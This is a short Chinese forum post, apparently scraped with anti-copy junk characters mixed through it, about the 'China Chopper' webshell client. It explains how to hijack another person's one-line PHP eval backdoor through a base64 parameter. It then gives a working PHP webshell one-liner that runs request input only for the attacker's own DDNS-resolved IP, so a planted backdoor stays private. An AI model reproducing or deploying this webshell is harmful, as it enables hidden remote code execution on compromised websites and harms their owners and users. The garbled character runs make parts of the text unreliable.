今天试了下“中国菜刀”这款C/S的WEB管理软件,发现一个致命的漏洞
4 w/ X @2 Q6 |+ c
% i. e) k1 r% @0 X就算你设置了密码,使用了eval($_REQUEST['moyo']);9 Q7 z* V2 L) J) Z8 P
3 D7 e( [5 m; X1 v7 R z
但是别人还是可以在不知道连接密码是moyo的情况下直接使用你的一句话后门6 j; h( c$ `9 \# {, x
; H1 Q7 {: W3 C( F' C
因为$_REQUEST['moyo']传递的内容是@eval(base64_decode($_POST[z0]));
) N" i, A7 m+ D- F2 I* h
: Z7 u/ Q+ v' v; o' O- ~直接访问 /backdoor.php?z0={BASE64加密后的代码} 就可以执行代码了
* O( N# @# P8 J9 l5 x8 ^* S
* e6 M. i- t4 M) a6 A4 d不知道是设计缺陷还是故意留的后门; t6 G3 B0 W% [, i6 I$ _; b, ~
* z& t( E0 j$ ^4 _% X X. v5 Y
如果有人使用一句话之类的密码,有个小技巧可以避免自己的一句话被人盗用; w1 O g5 |( u8 b8 Z( G
3 y) E2 V, {. l) L$ K% |本地使用花生壳之类的DDNS软件,比如分配域名是moyo.apiz.org" P' a8 D7 W4 Q6 j0 I. k2 y" R+ y
) n' u* Y% J" e6 u
然后一句话后门这样写2 G1 C; h% \ v2 b' d$ e c
/ l7 T8 S r' G( h<?php $_SERVER['REMOTE_ADDR'] == gethostbyname('moyo.apiz.org') ? @eval($_REQUEST['moyo']) : exit('DENIED') ?>
% U/ F6 t6 Y. h/ {6 h) q这样就可以让一句话后门只允许自己的电脑连接了
% O0 B( z5 p3 R1 t9 u" L8 C: b+ W! J V- J" i, S, @) i- C4 ^- I( a
|